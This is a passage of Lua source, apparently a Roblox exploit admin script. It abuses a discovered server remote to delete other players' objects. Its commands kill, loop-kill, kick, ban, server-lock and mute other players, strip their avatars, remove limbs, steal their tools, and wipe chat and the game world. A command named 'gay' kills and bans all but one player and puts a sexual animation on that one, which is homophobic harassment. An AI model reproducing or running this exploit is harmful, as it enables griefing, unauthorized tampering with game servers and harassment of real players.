pairs(localPlayer.Backpack:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end if #tools == 0 then return notify("Error", "Tools are required", 5) end runCommand("unfly") task.wait() delete(hum) repeat task.wait() until hum.Parent ~= character cloneHum.Parent = character task.wait(.1) local targetCount = 1 for i,v in pairs(plrs) do if v == localPlayer then continue end local tchar = v.Character if not tchar then continue end local thrp = tchar:FindFirstChild("HumanoidRootPart") or tchar:FindFirstChild("Humanoid") and tchar.Humanoid.RootPart if not thrp then continue end local tool = tools[targetCount] if not tool then return notify("Error", "Not enough tools", 5) end cloneHum:EquipTool(tool) repeat task.wait() until tool.Parent == character task.wait() local attempts = 0 repeat thrp.CFrame = tool.Handle.CFrame hrp.CFrame = oldPos attempts += 1 task.wait() until tool.Parent ~= character or attempts > 100 hrp.CFrame = oldPos task.wait(.25) delete(tool) targetCount += 1 task.wait() end task.wait(.05) runCommand("re") end, {"toolbring", "tbring"}, 3) --[[addCommand("control", function(plrs) local target = plrs[1] if target == localPlayer then return end local tchar = target.Character if not tchar then return end local thum = tchar:FindFirstChild("Humanoid") if not thum then return end local thrp = tchar:FindFirstChild("HumanoidRootPart") or thum.RootPart if not thrp then return end local hum = character:FindFirstChild("Humanoid") if not hum then return end local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart if not hrp then return end local arm = character:WaitForChild("Right Arm", .5) or character:FindFirstChild("RightHand", .5) if not arm then return end local oldPos = hrp.CFrame local cloneHum = hum:Clone() local tools = {} for i,v in pairs(character:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end for i,v in pairs(localPlayer.Backpack:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end if #tools == 0 then return notify("Error", "Tools are required", 5) end local tool = tools[1] runCommand("unfly") task.wait() hum:EquipTool(tool) local rGrip = arm:WaitForChild("RightGrip") tool.Grip = tool.Grip * CFrame.new(0,-1.5,3) * CFrame.Angles(math.rad(-90), 0, 0) --(hrp.CFrame:Inverse() * (CFrame.new(arm.Position) * rGrip.C0)) * CFrame.new(0, 1, -4) * CFrame.Angles(0,90,0) hrp.CustomPhysicalProperties = PhysicalProperties.new(100, 100, 100, 100, 100) hum:UnequipTools() repeat task.wait() until tool.Parent == localPlayer.Backpack hum:EquipTool(tool) repeat task.wait() until tool.Parent == character hum:UnequipTools() repeat task.wait() until tool.Parent == localPlayer.Backpack for i,v in pairs(hum:GetPlayingAnimationTracks()) do v:Stop() end task.wait(.1) delete(hum) repeat task.wait() until hum.Parent ~= character cloneHum.Parent = character cloneHum:EquipTool(tool) task.wait(.1) local attempts = 0 repeat thrp.CFrame = tool.Handle.CFrame attempts += 1 task.wait() until tool.Parent ~= character or attempts > 100 if tool.Parent ~= tchar then return end thum.PlatformStand = true end, {}, 3) --]] local function spawnHighlightBox() local box = Instance.new("SelectionBox") box.Name = "wacky selection box" box.Parent = gethui() box.Destroying:Connect(spawnHighlightBox) clickDeleteBox = box end spawnHighlightBox() local clickDeleteHighlightCon = rs.Heartbeat:Connect(function() if not (clickDelete and clickDeleteBox) then return end local target = mouse.Target clickDeleteBox.Adornee = target end) table.insert(genv.connections, clickDeleteHighlightCon) local clickDeleteCon = uis.InputEnded:Connect(function(key,processed) if (clickDelete == false or processed) then return end if key.UserInputType ~= Enum.UserInputType.MouseButton1 then return end local target = mouse.Target if not target then return end delete(target) end) table.insert(genv.connections, clickDeleteCon) addCommand("clickdelete", function() clickDelete = true end, {"clickdel"}, 3) addCommand("unclickdelete", function() clickDelete = false clickDeleteBox.Adornee = nil end, {"unclickdel"}, 3) addCommand("btools", function() sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) if localPlayer.Backpack:FindFirstChild("wacky destroy tool") or (character and character:FindFirstChild("wacky destroy tool")) then return end local selection local destroyTool = Instance.new("Tool", localPlayer.Backpack) destroyTool.RequiresHandle = false destroyTool.CanBeDropped = false destroyTool.Name = "wacky destroy tool" destroyTool.ToolTip = "Click to destroy" destroyTool.TextureId = "rbxasset://Textures/Hammer.png" local selectionLoop destroyTool.Equipped:Connect(function() selection = Instance.new("SelectionBox", isTesting and localPlayer.PlayerGui or game:GetService("CoreGui")) table.insert(genv.connections, selection) selectionLoop = rs.Heartbeat:Connect(function() local target = mouse.Target if target == nil then selection.Adornee = nil return end if selection.Parent == nil then return end selection.Adornee = target end) table.insert(genv.connections, selectionLoop) end) destroyTool.Unequipped:Connect(function() if not selection then return end selection:Destroy() end) destroyTool.Activated:Connect(function() local target = mouse.Target if target == nil then return end delete(target) end) local unweldTool = Instance.new("Tool", localPlayer.Backpack) unweldTool.RequiresHandle = false unweldTool.CanBeDropped = false unweldTool.Name = "wacky unweld tool" unweldTool.ToolTip = "Click to unweld" unweldTool.TextureId = "rbxassetid://4989743039" local selectionLoop unweldTool.Equipped:Connect(function() selection = Instance.new("SelectionBox",localPlayer.PlayerGui) table.insert(genv.connections, selection) selectionLoop = rs.Heartbeat:Connect(function() local target = mouse.Target if target == nil then selection.Adornee = nil return end if selection.Parent == nil then return end selection.Adornee = target end) table.insert(genv.connections, selectionLoop) end) unweldTool.Unequipped:Connect(function() if not selection then return end selection:Destroy() end) unweldTool.Activated:Connect(function() local target = mouse.Target if target == nil then return end for i,v in pairs(target:GetDescendants()) do if not (v:IsA("Weld") or v:IsA("Attachment")) then continue end delete(v) end end) end, {}, 3) addCommand("gun", function() sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if localPlayer.Backpack:FindFirstChild("wacky gun tool") or (character:FindFirstChild("wacky gun tool")) then return end local gunTool = Instance.new("Tool", localPlayer.Backpack) gunTool.RequiresHandle = false gunTool.CanBeDropped = false gunTool.Name = "wacky gun tool" gunTool.ToolTip = "Click a player to \"shoot\" them" gunTool.TextureId = "rbxassetid://822278164" local handle = Instance.new("Part", gunTool) handle.Name = "Handle" handle.Transparency = 1 handle.CanCollide = false handle.Size = Vector3.new(0.001,0.001,0.001) handle.Massless = true local track gunTool.Activated:Connect(function() local target = mouse.Target if target == nil then return end for i,v in pairs(players:GetPlayers()) do local char = v.Character if char == nil then continue end for _, part in pairs(char:GetDescendants()) do if (not part:IsA("BasePart")) or part ~= target then continue end if humanoid.RigType == Enum.HumanoidRigType.R6 then track.TimePosition = 0.4 task.wait(.25) track.TimePosition = 0.18 end local arg = {players:GetPlayerFromCharacter(char)} runCommand("ragdoll", arg) task.wait(1.5) runCommand("kill", arg) break end end end) if humanoid.RigType ~= Enum.HumanoidRigType.R6 then return end local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://33169583" track = humanoid:LoadAnimation(animation) track.Priority = Enum.AnimationPriority.Movement gunTool.Equipped:Connect(function() track:Play() task.wait() track:AdjustSpeed(0) track.TimePosition = 0.18 track:AdjustWeight(0.95) end) gunTool.Unequipped:Connect(function() track:Stop() end) end, {}, 3) addCommand("punch", function() sgui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local isR15 = humanoid.RigType == Enum.HumanoidRigType.R15 local arm = (isR15 and character:FindFirstChild("RightLowerArm")) or (character:FindFirstChild("Right Arm")) if not arm then return end if localPlayer.Backpack:FindFirstChild("wacky punch tool") or (character:FindFirstChild("wacky punch tool")) then return end local punchTool = Instance.new("Tool", localPlayer.Backpack) punchTool.RequiresHandle = false punchTool.CanBeDropped = false punchTool.Name = "wacky punch tool" punchTool.ToolTip = "Click to punch" punchTool.TextureId = "rbxassetid://14881411853" local animation = Instance.new("Animation") animation.AnimationId = (isR15 and "rbxassetid://846744780") or ("rbxassetid://204062532") local track = humanoid:LoadAnimation(animation) local attacking = false local touchedConnection = arm.Touched:Connect(function(part) if not attacking then return end local parent = part.Parent if not parent then return end local target = players:GetPlayerFromCharacter(parent) if (not target) or (target == localPlayer) then return end local hum = parent:FindFirstChildOfClass("Humanoid") if hum and hum.Health <= 0 then return end runCommand("kill",{target}) end) punchTool.Activated:Connect(function() if attacking then return end track:Play() task.wait(isR15 and 0.2 or 0.165) attacking = true track.Ended:Wait() attacking = false end) end, {"slap"}, 3) table.insert(genv.connections,players.PlayerAdded:Connect(function(plr) if (slockEnabled or bans[tostring(plr.UserId)]) then task.wait() delete(plr) end end)) addCommand("ban", function(plrs, input) for i,v in pairs(plrs) do if v == localPlayer then continue end if bans[tostring(v.UserId)] then continue end bans[tostring(v.UserId)] = input delete(v) end end, {}, 2) addCommand("unban", function(plrs, input) if input == "all" then return table.clear(bans) end for i,v in pairs(bans) do if v ~= input and i ~= input then continue end bans[i] = nil end end, {}, 2) addCommand("clearbans", function() table.clear(bans) end, {}, 2) addCommand("serverlock",function() slockEnabled = true end, {"slock"}, 2) addCommand("unserverlock", function() slockEnabled = false end, {"unslock"}, 2) addCommand("kick", function(plrs) for i,v in pairs(plrs) do delete(v) end end, {}, 2) addCommand("mute", function(plrs) if not modernChat then return notify("Error", "Game uses legacy chat, command not supported") end local names = {} for i,v in pairs(plrs) do table.insert(names, v.Name) end for i,instance in pairs(game:GetService("TextChatService").TextChannels:GetDescendants()) do if not table.find(names, instance.Name) then continue end delete(instance) end end, {}, 2) addCommand("unsit", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then continue end local seatPart = humanoid.SeatPart if not seatPart then continue end local weld = seatPart:FindFirstChild("SeatWeld") if not weld then continue end delete(weld) end end, {"stand"}, 1) addCommand("kill", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") local head = char:FindFirstChild("Head") if head == nil then continue end local neck = head:FindFirstChild("Neck") if neck == nil then local torso = char:FindFirstChild("Torso") if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end end if humanoid and humanoid.RequiresNeck and neck then delete(neck) continue end end end, {}, 1) table.insert(genv.connections, rs.Heartbeat:Connect(function() local toKill = {} for i,v in pairs(loopkills) do if v.Parent ~= players then table.remove(toKill, i) continue end if not v.Character then continue end table.insert(toKill, v) end runCommand("kill", toKill) end)) addCommand("gay", function(plrs) local allPlayers = players:GetPlayers() local candidates = {} for _, p in ipairs(allPlayers) do if p ~= localPlayer then table.insert(candidates, p) end end local survivor = #candidates > 0 and candidates[math.random(1, #candidates)] or nil for _, v in ipairs(allPlayers) do if v == localPlayer then continue end if v == survivor then continue end local char = v.Character if char then local humanoid = char:FindFirstChildOfClass("Humanoid") local head = char:FindFirstChild("Head") if head then local neck = head:FindFirstChild("Neck") or (char:FindFirstChild("Torso") and char.Torso:FindFirstChild("Neck")) if humanoid and humanoid.RequiresNeck and neck then delete(neck) end end for _, obj in pairs(char:GetDescendants()) do if obj:IsA("Accessory") or obj:IsA("Shirt") or obj:IsA("Pants") or obj:IsA("BodyColors") or obj:IsA("ShirtGraphic") or (obj:IsA("Decal") and obj.Name == "face") then delete(obj) end end end bans = bans or {} bans[tostring(v.UserId)] = "obliterated" delete(v) end do local myChar = localPlayer.Character if myChar then for _, obj in pairs(myChar:GetDescendants()) do if obj:IsA("Accessory") or obj:IsA("Shirt") or obj:IsA("Pants") or obj:IsA("BodyColors") or obj:IsA("ShirtGraphic") or (obj:IsA("Decal") and obj.Name == "face") then delete(obj) end end end end runCommand("unbang") local target = survivor if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or not target or not target.Character or not target.Character:FindFirstChildOfClass("Humanoid") then return end if not target.Character:FindFirstChild("HumanoidRootPart") then return end local hrp = target.Character:FindFirstChild("HumanoidRootPart") if hrp then hrp.Anchored = true end local myChar = localPlayer.Character local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart") if myHRP and hrp then myHRP.CFrame = hrp.CFrame * CFrame.new(0, 0.75, -1.5) end bangAnim = Instance.new("Animation") bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674" bang = humanoid:LoadAnimation(bangAnim) bang:Play(0.1, 1, 1) bang:AdjustSpeed(3) bangDied = nil bangDied = humanoid.Died:Connect(function() bang:Stop() bangAnim:Destroy() bangDied:Disconnect() if bangLoop then bangLoop:Disconnect() end end) if target ~= localPlayer then bangLoop = rs.Stepped:Connect(function() if not target.Character then return end local hum = target.Character:FindFirstChildOfClass("Humanoid") if not hum then return end local root = hum.RootPart if not root then return end character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1)) end) table.insert(genv.connections, bangLoop) end notify("Why did you run this command? do you need help?", 5) end, {"gayness", "lgbtq"}, 3) addCommand("loopkill", function(plrs) for i,v in pairs(plrs) do if table.find(loopkills, v) then continue end table.insert(loopkills, v) end end, {}, 1) addCommand("unloopkill", function(plrs, input) if input:lower() == "all" then loopkills = {} return end for i,v in pairs(loopkills) do if not table.find(plrs, v) then continue end table.remove(loopkills, i) end end, {}, 1) addCommand("silentkill", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") local head = char:FindFirstChild("Head") if not head then continue end local neck = head:FindFirstChild("Neck") if not neck then local torso = char:FindFirstChild("Torso") if torso and torso:FindFirstChild("Neck") then neck = char.Torso.Neck end end if not (humanoid and humanoid.RequiresNeck and neck) then continue end delete(neck) repeat task.wait() until humanoid.Health <= 0 delete(char) end end, {"skill"}, 1) addCommand("naked", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local pants = char:FindFirstChild("Pants") local shirt = char:FindFirstChild("Shirt") local tshirt = char:FindFirstChild("Shirt Graphic") if pants then delete(pants) end if shirt then delete(shirt) end if tshirt then delete(tshirt) end for _,instance in pairs(char:GetDescendants()) do if not instance:IsA("WrapLayer") then continue end delete(instance.Parent.Parent) end end end, {"noclothing"}, 1) addCommand("bald", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end for _,instance in pairs(char:GetChildren()) do if not instance:IsA("Accessory") then continue end delete(instance) end end end, {"nohats"}, 1) addCommand("nolimbs", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end for _,instance in pairs(char:GetChildren()) do for i,v in pairs(limbs) do if not instance.Name:lower():find(v) then continue end delete(instance) end end end end, {}, 1) addCommand("noarms", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end for _,instance in pairs(char:GetChildren()) do if not instance.Name:lower():find("arm") then continue end delete(instance) end end end, {}, 1) addCommand("nolegs", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end for _,instance in pairs(char:GetChildren()) do if not (instance.Name:lower():find("leg") or instance.Name:lower():find("foot")) then continue end delete(instance) end end end, {}, 1) addCommand("noface", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local head = char:FindFirstChild("Head") if head == nil then continue end for _,instance in pairs(head:GetChildren()) do if not instance:IsA("Decal") then continue end delete(instance) end end end, {}, 1) addCommand("stripidentity", function(plrs) runCommand("noface",plrs) runCommand("naked", plrs) runCommand("bald", plrs) end, {"strip", "noidentity"}, 1) addCommand("korblox", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local r6Leg = char:FindFirstChild("Right Leg") if r6Leg then delete(r6Leg) continue end local r15Leg = char:FindFirstChild("RightUpperLeg") if not r15Leg then continue end delete(r15Leg) end end, {}, 1) addCommand("blockhead", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if not (humanoid and humanoid.RigType == Enum.HumanoidRigType.R6) then continue end local head = char:FindFirstChild("Head") if not head then continue end local mesh = head:FindFirstChildOfClass("SpecialMesh") if not mesh then continue end delete(mesh) end end, {"demeshhead"}, 1) addCommand("blockhats", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if not (humanoid and humanoid.RigType == Enum.HumanoidRigType.R6) then continue end for i,hat in pairs(humanoid:GetAccessories()) do local handle = hat:FindFirstChild("Handle") if not handle then continue end local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle:FindFirstChildOfClass("Mesh") if not mesh then continue end delete(mesh) end end end, {"demeshhats"}, 1) addCommand("blocktools", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local handles = {} for i,v in pairs(v.Backpack:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(handles, v.Handle) end for i,v in pairs(char:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(handles, v.Handle) end for i,handle in pairs(handles) do local mesh = handle:FindFirstChildOfClass("SpecialMesh") or handle:FindFirstChildOfClass("Mesh") if not mesh then continue end delete(mesh) end end end, {"demeshtools"}, 1) addCommand("bighats", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local hum = char:FindFirstChildOfClass("Humanoid") if not hum then continue end if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end local hats = hum:GetAccessories() local scalableHats = {} for i,v in pairs(hats) do local handle = v:FindFirstChild("Handle") if not handle then continue end local scaleType = handle:FindFirstChild("AvatarPartScaleType") if not scaleType then continue end table.insert(scalableHats,v) end if #scalableHats == 0 then continue end task.spawn(function() for i,value in pairs(scaleValues) do for i, hat in pairs(scalableHats) do local handle = hat:FindFirstChild("Handle") if not handle then continue end local ogSize = handle:WaitForChild("OriginalSize") delete(ogSize) repeat task.wait() until ogSize.Parent ~= handle end local scaleValue = hum:FindFirstChild(value) if not scaleValue then continue end delete(scaleValue) repeat task.wait() until scaleValue.Parent ~= hum end end) end end, {"rescalehats", "gianthats"}, 1) addCommand("rescale", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local hum = char:FindFirstChildOfClass("Humanoid") if not hum then continue end if hum.RigType ~= Enum.HumanoidRigType.R15 then continue end spawn(function() local function rm() for i,v in pairs(char:GetDescendants()) do if not v:IsA("BasePart") then continue end if v.Name == "Handle" or v.Name == "Head" then if not char.Head:FindFirstChild("OriginalSize") then continue end delete(char.Head.OriginalSize) continue end for i,cav in pairs(v:GetDescendants()) do if not cav:IsA("Attachment") then continue end local op = cav:FindFirstChild("OriginalPosition") if not op then continue end delete(op) task.wait(.1) end local os = v:FindFirstChild("OriginalSize") if os then delete(os) task.wait(.1) end local apst = v:FindFirstChild("AvatarPartScaleType") if not apst then continue end delete(apst) task.wait(.1) end end for i,v in pairs(scaleValues) do rm() task.wait(.1) local scale = hum:FindFirstChild(v) if not scale then continue end delete(scale) task.wait(.1) end end) end end, {"morph"}, 1) addCommand("ragdoll", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local hrp = char:FindFirstChild("HumanoidRootPart") if hrp == nil then continue end delete(hrp) end end, {"nohrp"}, 1) addCommand("sink", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end delete(humanoid) end end, {"nohum","nohumanoid"}, 2) addCommand("freeze", function(plrs) runCommand("ragdoll", plrs) runCommand("noanims", plrs) end, {}, 2) addCommand("noanims", function(plrs) for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end local animator = humanoid:FindFirstChildOfClass("Animator") if animator == nil then continue end delete(animator) local animate = char:FindFirstChild("Animate") if animate == nil then continue end delete(animate) end end, {}, 1) addCommand("invisible", function(plrs) local ignoreList = {"UpperTorso", "Head", "HumanoidRootPart", "Humanoid"} for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end for _,instance in pairs(char:GetChildren()) do if table.find(ignoreList, instance.Name) then continue end delete(instance) end if humanoid.RootPart then humanoid.RootPart.Transparency = 0.6 end end end, {"invis"}, 1) addCommand("legwalk", function(plrs) local deleteList = {"LeftUpperArm","RightUpperArm"} for i,v in pairs(plrs) do local char = v.Character if char == nil then continue end local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid == nil then continue end if humanoid.RigType ~= Enum.HumanoidRigType.R15 then continue end local upperTorso = char:FindFirstChild("UpperTorso") if upperTorso == nil then continue end local waist = upperTorso:FindFirstChild("Waist") if waist == nil then continue end for _,instance in pairs(char:GetChildren()) do if not (table.find(deleteList, instance.Name) or instance:IsA("Accessory")) then continue end delete(instance) end delete(waist) end end, {"split"}, 1) addCommand("fakechat", function(plrs) local localPlayer = game:GetService("Players").LocalPlayer local rs = game:GetService("RunService") local character = localPlayer.Character if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") local hrp = character:FindFirstChild("HumanoidRootPart") if not (humanoid and hrp) then return end local target for _, v in pairs(plrs) do if v == localPlayer then continue end if not v.Character then continue end if not v.Character:FindFirstChild("HumanoidRootPart") then continue end target = v break end if not target then return end runCommand("unbang") runCommand("view", {target}) task.wait(0.2) if humanoid.RigType == Enum.HumanoidRigType.R15 then runCommand("invisible", {localPlayer}) else for _, v in pairs(hrp:GetChildren()) do delete(v) end repeat task.wait() until #hrp:GetChildren() == 0 end local followLoop followLoop = rs.Heartbeat:Connect(function() if not target.Character then return end local thrp = target.Character:FindFirstChild("HumanoidRootPart") if not thrp then return end local predictedCF = CFrame.new( thrp.Position.X + thrp.Velocity.X / 4, thrp.Position.Y, thrp.Position.Z + thrp.Velocity.Z / 4 ) hrp.AssemblyAngularVelocity = Vector3.zero hrp.AssemblyLinearVelocity = Vector3.zero hrp.CFrame = (predictedCF * CFrame.new(0, 3, -1.5)) * CFrame.Angles(math.rad(90), 0, 0) end) table.insert(genv.connections, followLoop) table.insert(genv.connections, humanoid.Died:Connect(function() if followLoop then followLoop:Disconnect() end runCommand("unview") end)) end, {}, 3) addCommand("notools", function(plrs) for i,v in pairs(plrs) do for _, instance in pairs(v:FindFirstChildOfClass("Backpack"):GetChildren()) do if not instance:IsA("BackpackItem") then continue end delete(instance) end local char = v.Character if char == nil then continue end for _, instance in pairs(char:GetChildren()) do if not instance:IsA("BackpackItem") then continue end delete(instance) end end end, {}, 1) addCommand("grabtools", function(plrs, input, caller) local callChar = caller.Character if not callChar then return end local hrp = callChar:FindFirstChild("HumanoidRootPart") local pos = hrp and hrp.CFrame or callChar:GetPivot() if not pos then return end local tools = {} for i,v in pairs(workspace:GetDescendants()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end for i,v in pairs(tools) do if not v.Handle:FindFirstChildOfClass("TouchTransmitter") then continue end v.Handle.CanCollide = false v.Handle.CFrame = pos end end, {"getalltools"}, 1) addCommand("givetools", function(plrs, input, caller) local callChar = caller.Character if not callChar then return end local callHum = callChar:FindFirstChildOfClass("Humanoid") if not callHum then return end local callHead = callChar:FindFirstChild("Head") if not callHead then return end local oldPos = caller == localPlayer and callChar:GetPivot() local target = plrs[1] if not target then return end local tChar = target.Character if not tChar then return end local tHum = tChar:FindFirstChildOfClass("Humanoid") if not tHum then return end local thrp = tChar:FindFirstChild("HumanoidRootPart") local tools = {} for i,v in pairs(callChar:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end if #tools == 0 then return end delete(callHead) repeat task.wait() until callChar:FindFirstChild("Head") == nil delete(callHum) repeat task.wait() until callChar:FindFirstChildOfClass("Humanoid") == nil for i,v in pairs(tools) do v.Handle.CanCollide = false v.Handle.CFrame = thrp and thrp.CFrame or tChar:GetPivot() end if not oldPos then return end localPlayer.CharacterAdded:Wait():PivotTo(oldPos) end, {"givetool","give"}, 1) addCommand("stealtools", function(plrs, input, caller) local character = caller.Character if not character then return end local lpHumanoid = character:FindFirstChildOfClass("Humanoid") if not lpHumanoid then return end local hrp = lpHumanoid.RootPart for i,plr in pairs(plrs) do if plr == caller then continue end local char = plr.Character if not char then continue end local tool = char:FindFirstChildOfClass("BackpackItem") if not tool then continue end local head = char:FindFirstChild("Head") if not head then continue end delete(head) task.wait(0.05) local humanoid = char:FindFirstChildOfClass("Humanoid") if humanoid then delete(humanoid) end repeat task.wait() until char:FindFirstChildOfClass("Humanoid") == nil task.wait(.05) for i,v in pairs(char:GetChildren()) do if not (v:IsA("BackpackItem") and v:FindFirstChild("Handle")) then continue end if hrp and hrp.Parent then v.Handle.CFrame = hrp.CFrame end lpHumanoid:EquipTool(v) end end end, {"stools"}, 1) addCommand("droptools", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end local arm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightHand") if not arm then continue end local function deleteArm() if not char:FindFirstChildOfClass("Tool") then return end task.wait(.1) delete(arm) end table.insert(genv.connections, arm.ChildAdded:Connect(deleteArm)) local grip = arm:FindFirstChild("RightGrip") if not grip then continue end delete(grip) end end, {"collidetools"}, 1) addCommand("punish", function(plrs) for i,v in pairs(plrs) do local char = v.Character if not char then continue end delete(char) end end, {}, 2) addCommand("bang", function(plrs) -- credit to the Infinite Yield team if not character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end runCommand("unbang") local target for i,v in pairs(plrs) do if not v.Character then continue end if not v.Character:FindFirstChildOfClass("Humanoid") then continue end if not v.Character.Humanoid.RootPart then continue end target = v break end bangAnim = Instance.new("Animation") bangAnim.AnimationId = (humanoid.RigType ~= Enum.HumanoidRigType.R15) and "rbxassetid://148840371" or "rbxassetid://5918726674" bang = humanoid:LoadAnimation(bangAnim) bang:Play(0.1, 1, 1) bang:AdjustSpeed(3) bangLoop = nil bangDied = nil;bangDied = humanoid.Died:Connect(function() bang:Stop() bangAnim:Destroy() bangDied:Disconnect() if bangLoop then bangLoop:Disconnect() end end) if target == localPlayer then return end bangLoop = rs.Stepped:Connect(function() if target.Character == nil then return end local hum = target.Character:FindFirstChildOfClass("Humanoid") if hum == nil then return end local root = hum.RootPart if root == nil then return end character:PivotTo(root.CFrame * CFrame.new(0, 0.75, 1.1)) end) table.insert(genv.connections,bangLoop) end, {}, 3) addCommand("unbang", function() if bangDied then bangDied:Disconnect() end if bang then bang:Stop() end if bangAnim then bangAnim:Destroy() end if bangLoop then bangLoop:Disconnect() end end, {}, 3) addCommand("clearstarter", function() local whitelist = {"BubbleChat", "ChatScript", "PlayerScriptsLoader", "RbxCharacterSounds", "PlayerModule"} for i,v in pairs(sgui:GetChildren()) do delete(v) end for i,v in pairs(game:GetService("StarterPack"):GetChildren()) do delete(v) end for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterPlayerScripts"):GetChildren()) do if table.find(whitelist, v.Name) then continue end delete(v) end for i,v in pairs(game:GetService("StarterPlayer"):FindFirstChildOfClass("StarterCharacterScripts"):GetChildren()) do delete(v) end end, {"clearstarters"}, 1) addCommand("cleargui", function() for i,v in pairs(sgui:GetChildren()) do delete(v) end end,{"clearsgui", "clearguis"}, 1) addCommand("nochat",function() local chatEvents = rStorage:FindFirstChild("DefaultChatSystemChatEvents") if chatEvents then return delete(chatEvents) end if not modernChat then return end for i,v in pairs(game:GetService("TextChatService"):GetChildren()) do delete(v) end end, {"breakchat"}, 2) addCommand("nostats", function(plrs) for i,v in pairs(plrs) do local stats = v:FindFirstChild("leaderstats") if stats == nil then continue end delete(stats) end end, {}, 1) addCommand("deletename", function(plrs, input) for i,v in pairs(game:GetDescendants()) do local match = v.Name:lower():gsub(" ","") if not match:match(input:lower()) then continue end delete(v) end end, {}, 2) addCommand("clearstorage",function() for i,v in pairs(rStorage:GetChildren()) do if (v == genv.foundRemote) or (modernChat == false and v:IsA("Folder") and v.Name == "DefaultChatSystemChatEvents") then continue end delete(v) end end, {"clearrs","clearreps", "clearreplicatedstorage"}, 1) addCommand("clearws", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end delete(v) end end, {}, 2) addCommand("lockws", function() for i,v in pairs(workspace:GetChildren()) do if players:FindFirstChild(v.Name) then continue end local con = v.ChildAdded:Connect(function(instance) if players:FindFirstChild(instance.Parent.Name) then return end task.wait() delete(instance) end) table.insert(genv.connections,con) table.insert(wslocks,con) end local con = workspace.ChildAdded:Connect(function(instance) if players:FindFirstChild(instance.Name) then return end task.wait() delete(instance) end) table.insert(genv.connections,con) table.insert(wslocks,con) end, {}, 1) addCommand("unlockws", function() for i,v in pairs(wslocks) do v:Disconnect() end end, {}, 1) addCommand("notextures", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end if (v:IsA("Decal") or v:IsA("Texture")) then delete(v) end for _,instance in pairs(v:GetDescendants()) do if not (instance:IsA("Decal") or instance:IsA("Texture")) then continue end delete(instance) end end end, {}, 1) addCommand("baseplate", function() if not character then return end local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return end local hrp = hum.RootPart if not hrp then return end local function isPlate(instance) if not (instance:IsA("BasePart")) then return end local distance = (instance.Position - hrp.Position).Magnitude local size = instance.Size.Magnitude if distance <= 7 or size >= 1000 or instance.Name:lower():gsub(" ",""):find("baseplate") then return true end return false end for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end if isPlate(v) == false then delete(v) continue end for _,instance in pairs(v:GetDescendants()) do if isPlate(instance) then continue end delete(instance) end end end,{"platform"}, 2) addCommand("nospawns", function() for i,v in pairs(workspace:GetDescendants()) do if not v:IsA("SpawnLocation") then continue end delete(v) end end, {}, 1) addCommand("unweldws", function() for i,v in pairs(workspace:GetChildren()) do if players:GetPlayerFromCharacter(v) then continue end for _, instance in 